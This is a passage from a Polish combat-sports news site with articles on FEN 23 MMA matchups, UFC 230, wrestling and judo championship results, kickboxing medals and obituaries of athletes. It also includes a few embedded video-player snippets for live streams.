Warto dodać, że w Chicago odbędzie się również czwarty ćwierćfinał WBSS w kategorii junior ciężkiej – Mairis Briedis zmierzy się z Noelem Gevorem.

Z kolei w pierwszym półfinale Andrew Tabiti będzie rywalizował z Yunierem Dorticosem.

Fot. Krzysztof Głowacki Facebook

KM

Bohaterowie gali FEN 21 zmierzą się ze sobą w Lubinie

Szymon Dusza (6-4, 4 KO, 1 SUB) spróbuje zatrzymać niepokonanego na zawodowstwie Tymoteusza Łopaczyka (4-0, 3 SUB) podczas gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie. 

Dusza powrócił do klatki po ponad trzech latach przerwy w marcu 2018 roku. W efektowny sposób pokonał przez nokaut Michała Pietrzaka, czym skradł serca opolskiej publiczności. Na początku swojej kariery znokautował Kamila Mitoska, Konrada Dunaja, nieco później Tobiasza Kudrę. Dusza podjął decyzję o zawieszeniu startów w zawodowym MMA po dwóch porażkach z rzędu. Zwycięstwo z Pietrzakiem pokazało jednak, że wrócił mocniejszy i chce rozdawać karty w nowej dla siebie kategorii półśredniej. W maju stoczył znakomity, choć minimalnie przegrany pojedynek z Oskarem Somerfeldem we Wrocławiu podczas FEN 21.

Łopaczyk to stosunkowa nowa postać na polskim rynku mieszanych sztuk walki, jednak już dziś może pochwalić się wieloma sukcesami na swoim koncie. To mistrz Polski w MMA. Pierwszy tytuł wywalczył w grudniu 2016 roku podczas ALMMA 125, drugi w marcu 2017 podczas FORUM MMA w Warszawie na PGE Stadionie Narodowym. Zdaniem wielu ekspertów 22-letni Łopaczyk, który znakomicie czuje się w walce w parterze, to jeden z najlepiej zapowiadających się polskich zawodników młodego pokolenia. Jego trener i wielki autorytet, Sławomir Grabowski, uważa, że przed Tymoteuszem stoi świetlana przyszłość, a determinacja oraz upór w dążeniu do celu z pewnością pomogą mu w spełnieniu wszystkich marzeń. Jak sam podkreśla, MMA jest całym jego życiem, a praca pod okiem Grabowskiego może wynieść go na sam szczyt.

Karta walk FEN 23:

  • Norman Parke VS TBA -74 kg
  • Marcin Zontek VS Marcin Sianos -120 kg
  • Łukasz Pławecki VS TBA – 77 kg* K-1
  • Tymoteusz Łopaczyk VS Szymon Dusza -77 kg
  • Eliasz Jankowski VS TBA -67 kg K-1
  • TBA VS TBA
  • TBA VS TBA
  • TBA VS TBA
  • TBA VS TBA

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

Pamiętamy o tych, którzy odeszli

Nie ma ich wśród nas, ale żyją w naszej pamięci. Uroczystość Wszystkich Świętych to czas, w którym w sposób szczególny pochylamy się nad dorobkiem tych, którzy odeszli. Uświadamiany sobie, ile znaczyli dla nas i najbliższego środowiska. Zarazem staramy się odkryć tajemnicę życia, a w zasadzie jego kruchości i przemijania.

W ciągu minionego roku pożegnaliśmy wiele wybitnych postaci ze świata sportów walki. 25 października w wieku 61 lat zmarł Borislav Pelević, który od 2015 roku pełnił funkcję prezydenta WAKO. Odszedł po długiej chorobie. Henryk Niedźwiedzki zapisał się w historii boksu jako brązowy medalista Igrzysk Olimpijskich w Melbourne w wadze piórkowej. Pracował jako trener i miał znaczący wpływ na rozwój Krzysztofa Kosedowskiego oraz Janusza Gortata. Niedźwiedzki zmarł w wieku 84 lat. Ryszard Misiak zapisał na swoim koncie brąz mistrzostw Polski w wadze ciężkiej w boksie w 1977 roku. W ostatnich latach pozostawał bezdomny, odszedł w zapomnieniu…

Wygrał walkę, zasłabł, trafił do szpitala, gdzie zmarł. W wieku 31 lat odszedł bokser Scott Westgarth. Na początku października 2018 roku przyjęliśmy wiadomość o śmierci Graciano Rocchigianiego. Mistrz federacji IBF w wadze średniej i WBC w kategorii półciężkiej zmarł w wieku 54 lat w wyniku potrącenia przez samochód.

Walkę z chorobą nowotworową przegrał gwiazdor japońskiego MMA Norifumi Yamamoto. "Kid" zmarł w wieku 41 lat. Zaledwie 32 lata miał ukraiński zawodnik MMA Igor Sliusarczuk. W trakcie kariery stoczył 32 walki, z których 22 wygrał.

W wieku 57 lat odszedł olimpijczyk z Moskwy w judo Marian Donat. Trener, nauczyciel akademicki, zakochany w judo – taki był Andrzej Biliński. Zmarł w wieku 67 lat. W ostatnim czasie krajowe środowisko zapasów pożegnało trenerów: Jerzego Adamka, Grzegorza Ludwiga i Henryka Grabowieckiego. 

Czas płynie nieubłaganie, ale pamięć o ludziach wybitnych trwa. W naszych sercach pozostają wybitni przedstawiciele sportu: Jerzy Kulej, Zbigniew Pietrzykowski, Józef Warchoł, Wiesław Rudkowski, Henryk Średnicki, Muhammad Ali, Józef Grudzień, Anton Geesink.

KM

DSF 18: 8 grudnia Tomasz Sarara debiutuje w federacji DSF Kickboxing Challenge!

W walce wieczoru gali DSF 18 w Ząbkach po raz pierwszy w federacji DSF Kickboxing Challenge wystąpi zawodowy mistrz świata wagi ciężkiej Tomasz Sarara. Krakowski fighter to żywa legenda polskiego kickboxingu i bez wątpienia jeden z największych wojowników, jakich można zobaczyć nad Wisłą. Nazwisko jego rywala zostanie podane na początku listopada.

W swoim ostatnim występie na Narodowej Gali Boksu w Warszawie 33-letni Sarara pokonał przed czasem Tomasa Moznego, zdobywając tytuł mistrza świata WKN. Zawodnik klubu TS Wisła ma także na koncie mistrzowskie tytuły federacji FEN oraz Celtic Gladiator. Teraz na jego celowniku znalazł się pas DSF Kickboxing Challenge. W królewskiej kategorii panuje obecnie mocarny Białorusin Piotr Romankiewicz, który w wielkim stylu pokonał m.in. Michała Turyńskiego oraz Dawida Żółtaszka.

– Czekałem na ten moment bardzo długo i możecie mi wierzyć, że będę w pełni gotowy. Idę po mistrzowski pas! – zapewnia niepokonany od ponad sześciu lat Tomasz Sarara, pogromca Daniela Omielańczuka, Niko Falina, Karola Celińskiego i Michała Turyńskiego.

Kolejne zestawienia gali DSF 18 będą ogłaszane w najbliższych dniach. Impreza odbędzie się 8 grudnia o godzinie 19:50. Strona wydarzenia na Facebooku >>>

Brazylijczyk na drodze Polaka

3 listopada w Madison Square Garden Adam Wieczorek stoczy trzecią walkę w UFC. Jego rywalem będzie Brazylijczyk Marcos Rogerio de Lima.

Jeszcze tydzień temu Adam Wieczorek nie przypuszczał, że będzie miał okazję wystąpić na gali UFC 230. Sytuacja diametralnie zmieniła się i w nocy z 24 na 25 października zawodnik potwierdził, że zmierzy się z Limą. Polak zastąpił Ruslana Magomedova, który wypadł z gali z powodu kontuzji.

Na kolejną walkę popularnemu "Siwemu" przyszło czekać blisko siedem miesięcy. Ostatnio w UFC zaprezentował się w kwietniu, kiedy to w drugiej rundzie poddał omoplatą Arjana Singha Bhullara. Warto podkreślić, że było to drugie w historii tego typu zakończenie pojedynku w amerykańskiej organizacji. Polak wykazał się efektywnością, a za swój wyczyn otrzymał bonus w postaci 50 tysięcy dolarów za występ wieczoru. Dla 26-latka było to drugie zwycięstwo w UFC. W debiucie w Sydney pokonał Anthony'ego Hamiltona.

Przed Polakiem kolejne wyzwanie. Z pewnością dość niespodziewane, gdyż Wieczorek został zestawiony z Brazylijczykiem kilka dni przed galą. Marcos Rogerio de Lima jest o siedem lat starszy od "Siwego" i ma dłuższy staż w UFC. Dotychczas stoczył siedem walk, z których cztery wygrał. Warto dodać, że Lima występował w kategorii półciężkiej, a teraz postanowił spróbować sił w wyższej wadze. Co istotne, 33-latek stoczy walkę po półtorarocznej przerwie. Lima wraca do oktagonu po absencji spowodowanej wpadką dopingową.

Patrząc na rozstrzygnięcia walk z udziałem Polaka i Brazylijczyka należy spodziewać się efektywnego starcia. Obaj mają umiejętności, które predysponują ich do poddania rywala i niejednokrotnie z nich korzystali. Zarówno Wieczorek, jak i Lima dotychczas tylko dwukrotnie rywalizowali na pełnym dystansie.

W walce wieczoru gali UFC 230 zaprezentują się Daniel Cormier i Derrick Lewis. Dla 39-letniego mistrza będzie to pierwsza obrona tytułu w wadze ciężkiej. Lewis zapoluje na czwarte zwycięstwo z rzędu i pas, jednak nie będzie to łatwe zadanie. Cormier jest niepokonany od blisko czterech lat. Podczas gali w Madison Square Garden zaprezentuje się również pogromca Krzysztofa Jotko – David Branch, który zmierzy się z Jaredem Cannonierem.

Fot. Adam Wieczorek Facebook

KM

Norman Parke zawodnikiem FEN

Norman Parke (25-6-1, 4 KO, 12 SUB) podpisał kontrakt z federacją Fight Exclusive Night. Irlandczyk zadebiutuje w organizacji 12 stycznia podczas gali FEN 23 w Lubinie. 

Parke ma 31 lat, a na zawodowstwo przeszedł w 2006 roku. Wyspiarz bardzo szybko zaczął budować swoje nazwisko wygrywając w latach 2008-2014 aż 20 z 22 pojedynków. W przeszłości występował w UFC, ACB czy ostatnio Bellatorze. W 2012 roku Parke wygrał The Ultimate Fighter, rok wcześniej został mistrzem brytyjskiej organizacji Cage Contender.

– Norman to bardzo charyzmatyczny i budzący zainteresowanie kibiców zawodnik, który całą swoją nietuzinkowość popiera znakomitymi umiejętnościami sportowymi. Parke wystąpi na naszej najbliższej gali, która 12 stycznia odbędzie się w Lubinie. To kolejny krok w rozwoju naszej federacji, jestem z tego dumny – powiedział Paweł Jóźwiak, prezes FEN.

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

LIVE: Baltic Cup 2 – Day 1 (RING)

Zapraszamy na transmisję telewizyjną z Baltic Cup 2, które odbywają się w Sejnach.

[kod]

Baltic Cup 2 – Sejny 2018

Baltic Cup 2 – Sejny 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-sd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-sd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-sd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Baltic Cup 2 – Day 2 (RING)

Zapraszamy na transmisję telewizyjną z Baltic Cup 2, które odbywają się w Sejnach.

[kod]

Baltic Cup 2 – Sejny 2018

Baltic Cup 2 – Sejny 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-sd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-sd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-sd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Eliasz Jankowski wystąpi na FEN 23 w Lubinie

Eliasz Jankowski (19-7-1) wystąpi na gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie. Zawodnik z Legnicy wystąpi w formule K-1 w limicie kategorii wagowej do 67 kilogramów.

33-letniJankowski jest bez wątpienia jednym z najbardziej utytułowanych i doświadczonych polskich kickbokserów. Lista sukcesów legnickiego wojownika jest długa i imponująca – są na niej m.in. tytuły zawodowego mistrza świata w K-1 Global, zawodowego mistrza świata organizacji WKN i wicemistrza Europy federacji WAKO, a także Puchar Świata WAKO w K-1. Na zawodowych arenach „Jankes” stoczył dotychczas 27 walki, z których aż 19 wygrał. Reprezentant Polkon Fight Legnica karierę sportową łączy ze służbą wojskową – jest zawodowym żołnierzem w 10. Brygadzie Kawalerii Pancernej w Świętoszowie. Jego ostatnim sukcesem jest srebrny medal mistrzostw Europy, które w październiku tego roku odbyły się w Bratysławie.

Jankowski zadebiutować w FEN miał już podczas 15. edycji, ale wtedy z pojedynku, który również miał odbyć się w Lubinie, wyeliminowała go kontuzja. Do karty walk w jego miejsce wskoczył Mateusz Dąbrowski.

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

Brąz na osłodę

W zakończonych mistrzostwach świata w zapasach, które odbyły się w Budapeszcie Polska wywalczyła jeden medal. Po brąz sięgnął Geworg Sahakyan. To wynik gorszy niż przed rokiem, kiedy to z Paryża przywieźliśmy trzy medale.

Jak przedstawialiśmy wcześniej, po występach kobiet i zawodników stylu wolnego nie mieliśmy powodów do zadowolenia. O podium otarła się Katarzyna Krawczyk, która przegrała walkę o brąz z Pang Qianyu z Chin. Nadzieja pozostawała w klasykach, ale początek w ich wykonaniu nie był najlepszy. Przełomu dokonał Gework Sahakyan (67kg), który debiutował w polskiej reprezentacji w imprezie rangi mistrzostw świata. W Budapeszcie 28-latek stoczył pięć pojedynków. Na początek uporał się z Niemcem Erikiem Weissem, a w kolejnej walce pokonał Maunela Lopeza Salcero z Meksyku. W ćwierćfinale reprezentant Polski trafił na wicemistrza Azji Tsuchika Shimoyamadę, ale Sahakyan był rozpędzony i uzyskał awans do strefy medalowej. Szans na złoto pozbawił go mistrz olimpijski z Rio de Janeiro i wielokrotny medalista mistrzostw świata i Europy Serb Davor Stefanek. Reprezentantowi Polski pozostało starcie o brąz. Sahakyan pewnie pokonał Chorwata Janecica 7:0.

Już w 1/16 finału z rywalizacją pożegnał się wicemistrz Europy z 2016 roku Edgar Babayan (82kg). Jego pogromcą okazał się brązowy medalista igrzysk w Rio Irańczyk Said Abdewali. Do 1/8 finału dotarli Przemysław Piątek (60kg) i Rafał Krajewski (130kg), których sklasyfikowano odpowiednio na 17 i 24 miejscu. Trzynastą pozycję zajął Michał Tracz (63kg). Zawodnik Śląska Wrocław stoczył tylko jedną walkę, w 1/8 przegrał z Hasanem Muhammadem. W 1/16 z mistrzostwami świata pożegnali się: Roman Pacurkowski (72kg), Iwan Nykypiuk (77kg), Tadeusz Michalik (87kg) i Michał Olejniczak (97kg).

Tym samym Polacy nie poprawili ubiegłorocznej zdobyczy z Paryża, gdzie zdobyli trzy krążki – dwa srebrne i brąz. Co warto dodać, medal Sahakyana jest 83 w historii występów biało-czerwonych na mistrzostwach świata.

W Budapeszcie karty rozdawali Rosjanie, którzy zdobyli 13 medali, w tym aż dziesięć z najcenniejszego kruszcu. Za ich plecami Japonia (10 medali) i Stany Zjednoczone (9). Warto dodać, że czwarte złoto mistrzostw świata wywalczyła Adeline Gray (76kg). Wcześniej 27-letnia Amerykanka zdobywała tytuły w Las Vegas, Taszkiencie i Strathcona County. Z kolei Frank Stabler (72kg) po raz trzeci został mistrzem świata.

Fot. Polski Związek Zapaśniczy

KM

Coraz mniej szans

W Budapeszcie trwają mistrzostwa świata w zapasach. W rywalizacji kobiet oraz panów w stylu wolnym Polska nie wywalczyła medalu. Nadzieja w zmaganiach zapaśników w stylu klasycznym.

Problem w tym, że szans medalowych coraz mniej, a czas ucieka. Dziś (26 października) w Budapeszcie zaprezentują się: Przemysław Piątek (60kg), Gewrok Sahakian (67kg) oraz Tadeusz Michalik (87kg). Na występ czekają jeszcze: Iwan Nylypiuk (77kg), Marcin Olejniczak (97kg) i Rafał Krajewski (130kg).

O krok od wywalczenia pierwszego medalu mistrzostw świata była Katarzyna Krawczyk (53kg). W tym roku zawodniczka Cement Gryf Chełm sięgnęła po brąz w mistrzostwach Europy w Kaspijsku. Zmagania w Budapeszcie układały się po myśli Polki, która wygrała dwie walki i w półfinale trafiła na mistrzynię świata z Paryża Harunę Okuno. Lepsza okazała się Japonka, która obroniła tytuł. Z kolei Krawczyk rywalizowała o brąz z Pang Qianyu. Walka była niezwykle zacięta, ale Chinka wypchnęła 28-letnią Polkę za matę i zdobyła zwycięski punkt.

Pozostałe z naszych reprezentantek nie zdołały wygrać ani jednej walki. Jowita Wrzesień (57kg) przegrała z późniejszą brązową medalistką Emese Barką z Węgier. Tak jak i Agnieszka Wieszczek-Kordus (72kg), która musiała uznać wyższość Buse Tosun. Bez sukcesu startowały również Iwona Matkowska (50kg) oraz Roksana Zasina (55kg). Ta druga rok temu z Paryża przywiozła brąz, a w tym roku wywalczyła srebro mistrzostw Europy.

W stylu wolnym Magomedmurad Gadżijew (65kg) zajął 15. miejsce. 30-latek wygrał w 1/16 z Walodią Frangulianem, a w 1/8 lepszy okazał się Tumenbilegijn Tuwszintulag. W repasażach przepadł Andrzej Sokalski (74kg), którego sklasyfikowano na 9. miejscu. Z kolei Zbigniew Baranowski dotarł do ćwierćfinału, gdzie przegrał z mistrzem Europy z Nowego Sadu z 2017 roku Daurenem Kuruglijewem. Sebastian Jezierzański (92kg) odpadł w 1/8 finał, zaś Robert Baran (125kg) w 1/16 finału.

Rok temu z mistrzostw w Paryżu biało-czerwoni przywieźli trzy medale – brąz zdobyła Roksana Zasina, a srebra wywalczyli Mateusz Bernatek i Magomedmurad Gadżijew.

Mocne Japonki

W Budapeszcie fenomenalnie zaprezentowała się Yui Susaki (50kg). 19-letnia Japonka dołożyła do swojego dorobku drugie złoto mistrzostw świata, rok temu triumfowała w Paryżu w kategorii 48kg. W rywalizacji pań w Budapeszcie reprezentantki Kraju Kwitnącej Wiśni triumfowały w czterech kategoriach wagowych – 50kg, 53kg, 55kg, 59kg.

Fot. Polski Związek Zapaśniczy Facebook

KM

Judocy powalczą w Abu Dhabi

W dniach 27-29 października odbędą się zawody rangi Grand Slam w Abu Dhabi w Zjednoczonych Emiratach Arabskich. Na tatami nie zabraknie Polaków. Rok temu biało-czerwoni przywieźli z Abu Dhabi dwa medale. Jak będzie tym razem?

Do rywalizacji w Zjednoczonych Emiratach Arabskich szykuje się 372 zawodników, w tym 142 judoczki i 230 judoków. Na listach startowych nie brakuje gwiazd. W Abu Dhabi zaprezentują się światowe jedynki: wicemistrzyni świata Guusje Steenhuis (78kg) oraz mistrz świata Saeid Mollaei (81kg). W gronie gwiazd turnieju będą również: utytułowana Tina Trstenjak (63kg), mistrz olimpijski Lukas Krpalek (+100kg), Frank de Wit (81kg) czy Aleksandar Kukolj (90kg). Na liście jest także ośmioosobowa reprezentacja Polski. W Abu Dhabi zaprezentują się: Karolina Pieńkowska (52kg), Julia Kowalczyk (57kg), Agata Ozdoba-Błach (63kg), Karolina Tałach (63kg), Daria Pogorzelec (70kg), Beata Pacut (78kg) oraz Rafał Kozłowski (90kg) i Maciej Sarnacki (+100kg).

Zawody Grand Slam w Zjednoczonych Emiratach Arabskich odbędą się po raz piąty. Dla Polaków te turnieje w większości przypadków wiążą się ze zdobyczą medalową. Jedynie w 2016 roku żadnemu z naszych zawodników nie udało się stanąć na podium. Najwięcej, bo trzy medale Polacy wywalczyli w 2014 roku – wszystkie koloru brązowego. Rok temu po srebro sięgnął Maciej Sarnacki, który w finałowej walce przegrał z Cyrille'm Maretem. Z kolei Agata Ozdoba-Błach wywalczyła brąz.

Wydaje się, że spośród naszej kadry najwyższej stoją akcje Sarnackiego, który zajmuje 5. miejsce w światowym rankingu. W tym roku Polak nie zameldował się jednak na podium. Mistrzostwa Europy zakończył na siódmym miejscu, dwa tygodnie temu był siódmy w Grand Prix w Cancun. Ostatnio formą błyszczy Daria Pogorzelec. Zawodniczka Wybrzeża Gdańsk w Cancun zdobyła brąz, a we wrześniu wygrała Puchar Europy w Bratysławie. W tym roku trzykrotnie na podium w międzynarodowych startach stały Karoliny – Pieńkowska i Tałach, ale było to w pierwszym kwartale roku. Na pierwszy medal czeka Rafał Kozłowski, który najlepszy wynik osiągnął w Pradze – 5. miejsce. Po raz drugi w Abu Dhabi wystąpi Julia Kowalczyk, która z pewnością będzie chciała poprawić swój wynik. Rok temu stoczyła tylko jedną walkę – przegrała z Rafaelą Silva. Drugi występ w zawodach rangi Grand Slam zaliczy Beata Pacut.

Dla jednych start w Abu Dhabi stanowi kolejny start w karierze, dla innych to nowe doświadczenie bądź nauka. Najważniejsze, aby kontynuować tradycję, czyli wrócić ze Zjednoczonych Emiratów Arabskich z przynajmniej jednym medalem.

KM

LIVE: Mecz Polska vs Węgry (Kick Light), Kartuzy 2018

Zapraszamy na transmisję telewizyjną z oficjalnego meczu Polska vs Węgry w kickboxingu w formule kick light. Zawody odbywają się w Kasrtuzach.

[kod]

Mecz POLSKA vs WĘGRY (Kick-Light), Kartuzy 2018

Mecz POLSKA vs WĘGRY (Kick-Light), Kartuzy 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-hd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-hd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-hd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

FEN 23: Niepokonany Łopaczyk wystąpi w Lubinie

Tymoteusz Łopaczyk (4-0, 3 SUB) jest kolejnym bohaterem gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie. Bielawianin po raz trzeci wystąpi w klatce FEN.

Łopaczyk to stosunkowa nowa postać na polskim rynku mieszanych sztuk walki, jednak już dziś może pochwalić się wieloma sukcesami na swoim koncie. To mistrz Polski w MMA. Pierwszy tytuł wywalczył w grudniu 2016 roku podczas ALMMA 125, drugi w marcu 2017 podczas FORUM MMA w Warszawie na PGE Stadionie Narodowym. Zdaniem wielu ekspertów 22-letni Łopaczyk, który znakomicie czuje się w walce w parterze, to jeden z najlepiej zapowiadających się polskich zawodników młodego pokolenia. Jego trener i wielki autorytet, Sławomir Grabowski, uważa, że przed Tymoteuszem stoi świetlana przyszłość, a determinacja oraz upór w dążeniu do celu z pewnością pomogą mu w spełnieniu wszystkich marzeń. Jak sam podkreśla, MMA jest całym jego życiem, a praca pod okiem Grabowskiego może wynieść go na sam szczyt.

Podczas swojego debiutu w FEN Łopaczyk pokonał po znakomitym boju Adriana Błeszyńskiego. Ich pojedynek był ozdobą edycji „Bitwy o Wrocław”. Również w stolicy Dolnego Śląska, w maju 2018 roku, Łopaczyk w 3. rundzie poddał Jacka Jędraszczyka, a pojedynek ten został nagrodzony bonusem za najlepsze starcie wieczoru. Bielawianin do lubińskiej klatki wyjdzie jako niepokonany zawodnik.

– Uwielbiam Tymka – to nasza perełka. Ma 22 lata, a już potrafi wygrywać z bardziej doświadczonymi od siebie zawodnikami. Zawsze generuje olbrzymie emocje i liczę, że po raz kolejny jego występ będzie ozdobą naszej gali. Tymek, liczę na ciebie – powiedział prezes FEN, Paweł Jóźwiak.

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

Posted in Bez kategorii

Kolejny sukces reprezentacji w kickboxingu

Zdążyliśmy przyzwyczaić się do sukcesów reprezentacji Polski w kickboxingu. Z mistrzostw Europy w Bratysławie biało-czerwoni przywieźli 16 medali. Tym samym Polska potwierdziła, że znajduje się w czołówce europejskiego i światowego kickboxingu.

Powtarzalność to słowo klucz w omawianym przypadku. Ale czy nadal jest odpowiednie w stosunku do naszych kickbokserów? Sukcesy kadry stały się wręcz regułą. Za każdym razem zdobywamy kilkanaście medali, co pozwala nam aspirować do miana potęgi w kickboxingu. Najlepszym potwierdzeniem były zakończone mistrzostwa Europy w Bratysławie. Łącznie biało-czerwoni wywalczyli 16 medali, w tym pięć złotych, trzy srebrne i osiem brązowych. Z tytułów mistrzów Europy cieszą się: Kamila Bałanda (70kg) w K-1, Karolina Kubiak (48kg) w low kicku oraz Łukasz Puczyński (79kg), Piotr Wypchał (89kg) i Michał Grzesiak (94kg) w kick light. Dorobek naszej kadry mógł być większy, ale zawodnikom zabrakło szczęścia i zajmowali piąte lokaty m.in. Marcin Nasiadko (57kg) i Mateusz Niżejewski (69kg) w kick light.

Na tym nie koniec tegorocznych emocji. Nasi kadrowicze szykują się do kolejnych zmagań, które odbędą się w dniach 17-25 listopada w Mariborze. Zawodnicy będą rywalizować w formułach pointfighting, full contact oraz light contact.

Aby zachować pełną przejrzystość, odnieśmy wynik osiągnięty przez biało-czerwonych w Bratysławie do mistrzostw z 2016 roku, które odbyły się w Mariborze i Loutraki (rywalizacja w K-1 i low kick odbywała się na Słowenii, zaś w kick light w Grecji). Wtedy to Polacy zdobyli łącznie 27 medali. 19 na swoim koncie biało-czerwoni zapisali w Mariborze, zaś 8 w Loutraki. Jednak aby porównanie miało właściwy charakter należy odjąć trzy krążki wywalczone w light contact, ponieważ w tej formule tegoroczne zmagania dopiero się odbędą. Zatem osiągnięty w Bratysławie wynik (16 do 24 w 2016 roku w analizowanych trzech formułach) jest i tak uboższy, ale nadal pokazuje pozycję naszego kickboxingu na arenie europejskiej. Trzeba również uwzględnić, że w imprezie nie wzięło udziału kilka ważnych ogniw m.in. Marta Waliczek, Róża Gumienna czy Dawid Kasperski. Mimo to w Bratysławie zajęliśmy trzecią pozycję w klasyfikacji medalowej. Wyżej uplasowali się Rosjanie i Serbowie.

Pozostaje czekać na drugą część mistrzowskiej rywalizacji. Kadrowicze przygotowują się do startu w Mariborze. Głęboko wierzymy, że biało-czerwoni ponownie odniosą sukces i będą w czołówce imprezy.

Fot. Kadra Polski w Kickboxingu Kick-light Seniorów PZKB Facebook

KM

Kownacki zmierzy się w Whyte’m?

Dillian Whyte nie ukrywa swoich planów. Brytyjczyk chciałby walczyć o mistrzostwo świata z Anthony'm Joshuą. Na to starcie przyjdzie mu jednak poczekać. Czy najbliższym rywalem 30-latka będzie Adam Kownacki?

W tym roku Whyte stoczył dwa pojedynki, które zakończyły się jego sukcesem. Najpierw uporał się z Lucasem Browne'm i zgarnął pas WBC Silver. Warto dodać, że Whyte znokautował rywala w szóstej rundzie. Pod koniec lipca Brytyjczyk okazał się lepszy na punkty od byłego mistrza świata WBO Josepha Parkera. W tym roku Whyte stoczy jeszcze jeden pojedynek. Zaplanowano go na 22 grudnia, a pierwotnie jego rywalem miał być Dereck Chisora, którego "The Body Snatcher" pokonał dwa lata temu w Manchesterze. Problem w tym, że dotychczas nie osiągnięto porozumienia. – Jeśli ma dojść do rewanżu z Chisorą, wszystko musi być dogadane w tym tygodniu. Kibice chcą tej walki, więc ja też. Sprawa nie wygląda najlepiej. Mam inne opcje, on poza mną ich nie ma – tłumaczy Dillian Whyte.

Na liście potencjalnych rywali Brytyjczyka znajduje się Adam Kownacki. Oprócz Polaka faworytami do starcia z Whyte'm są: Dominic Breazeale, Luis Ortiz oraz Jarrell Miller. Brytyjczyk zdradził, że Eddie Hearn prowadzi rozmowy „z kilkoma osobami”, ale konkretów jednak brak.

29-letni Kownacki ma na koncie 18 zwycięstw, w tym 14 przez nokaut. Zwycięstwo z Charlesem Martinem sprawiło, że popularny „Baby Face” został dostrzeżony. Polak mieszkający w Nowym Jorku stoczył z Amerykaninem prawdziwą ringową wojnę i wygrał jednogłośnie na punkty. Od razu ruszyły spekulacje na temat jego szans na starcie o pas. Sam Kownacki podkreślał, że potrzebuje jeszcze czasu i kilku pojedynków. Z pewnością walka z Whyte'm byłaby tą z kategorii trudnych, która mogłaby przygotować Kownackiego na największe wyzwania w postaci Deontaya Wildera bądź Anthony'ego Joshuy. Obecnie jednak wszystko "jest palcem na wodzie pisane". Trzeba poczekać na rozwój wypadków.

Ugonoh poznał rywala

Najbliższego rywala poznał Izuagbe Ugonoh. Wszystko wskazuje na to, że 8 grudnia w Gdańsku blisko 32-letni pięściarz zmierzy się z Ali Erenem Demirezenem. Ostatnio urodzony w Turcji bokser sięgnął po pas WBO European pokonując Sergieja Werwejkę.

Fot. Adam Kownacki Facebook

KM

Dwa brązowe medale na mistrzostwach świata

Aleksandra Kaleta (52kg) oraz Iwo Baraniewski (100kg) wywalczyli brązowe medale w mistrzostwach świata juniorów w judo w Nassau. Blisko podium była Natalia Kropska (63kg).

Dla wicemistrzyni Polski seniorów to pierwszy medal na imprezie rangi mistrzostw świata. Warto podkreślić, że w tegorocznych startach Kaleta prezentuje się z dobrej strony. Stawała na podium Pucharów Europy juniorów w Sarajewie, La Coruni oraz Gdyni. W każdym wypadku zajmowała trzecią lokatę. Do tego dołożyła sukces na mistrzostwach Polski seniorów, gdzie w finale uległa Agacie Perenc. Z kolei w zmaganiach juniorów okazała się bezkonkurencyjna. Jedynym rozczarowaniem dla Kalety mogą być tegoroczne mistrzostwa Europy, z którym pożegnała się już w początkowej fazie. Należy dodać, że przegrała z późniejszą srebrną medalistką Anniką Wurfel.

Co do startu Polki na Bahamach, Kaleta w ekspresowym tempie toczyła swoje walki. W niecałą minutę uporała się z Yasmin Javadin, pół minuty potrzebowała na pokonanie Seiji Ballhaus. Nieco dłużej (2,5 minuty) trwało jej starcie z Niną Linne Esteo. W półfinale Kaleta nie sprostała mistrzyni świata kadetek z 2015 roku Tyoko Takedzie, która ostatecznie sięgnęła po złoto. Z kolei wicemistrzyni Polski seniorek stanęła na trzecim stopniu podium. W starciu o brąz szybko uporała się z Corline Marcus Tabellion z Francji.

Autorem drugiego medalu dla Polski był Iwo Baraniewski (100kg). We wrześniu w Sofii zawodnik Uczniowskiego Klubu Judo 225 Warszawa zajął piąte miejsce w mistrzostwach Europy. We wcześniejszych startach również otarł się o podium – Gdynia i Lignano. W końcu Baraniewski sięgnął po medal i to w mistrzostwach świata. Po trzech wygranych walkach, przyszedł czas na półfinał. Japończyk Kiyotaka Sekine okazał się zbyt mocnym rywalem i pokonał Polaka. Baraniewskiemu przyszło zmagać się o brąz. Jego rywalem był wicemistrz Europy kadetów z 2016 roku Mathias Madsen. Baraniewski wygrał przez waza ari.

Szansę na drugi medal mistrzostw świata miała Natalia Kropska. Zawodniczka Czarnych Bytom wygrała trzy walki, ale potem przegrała w półfinale z Sanne Vermeer i starciu o brąz z Asumi Urą.

Siódme miejsce w mistrzostwach świata wywalczyła Paulina Dziopa (+78kg).

Fot. pixabay.cpm

KM

FEN 23: Znamy już datę i miejsce!

12 stycznia 2019 roku w hali RCS w Lubinie odbędzie się gala Fight Exclusive Night 23. Będzie to czwarta wizyta federacji w mieście usytuowanym na Dolnym Śląsku.

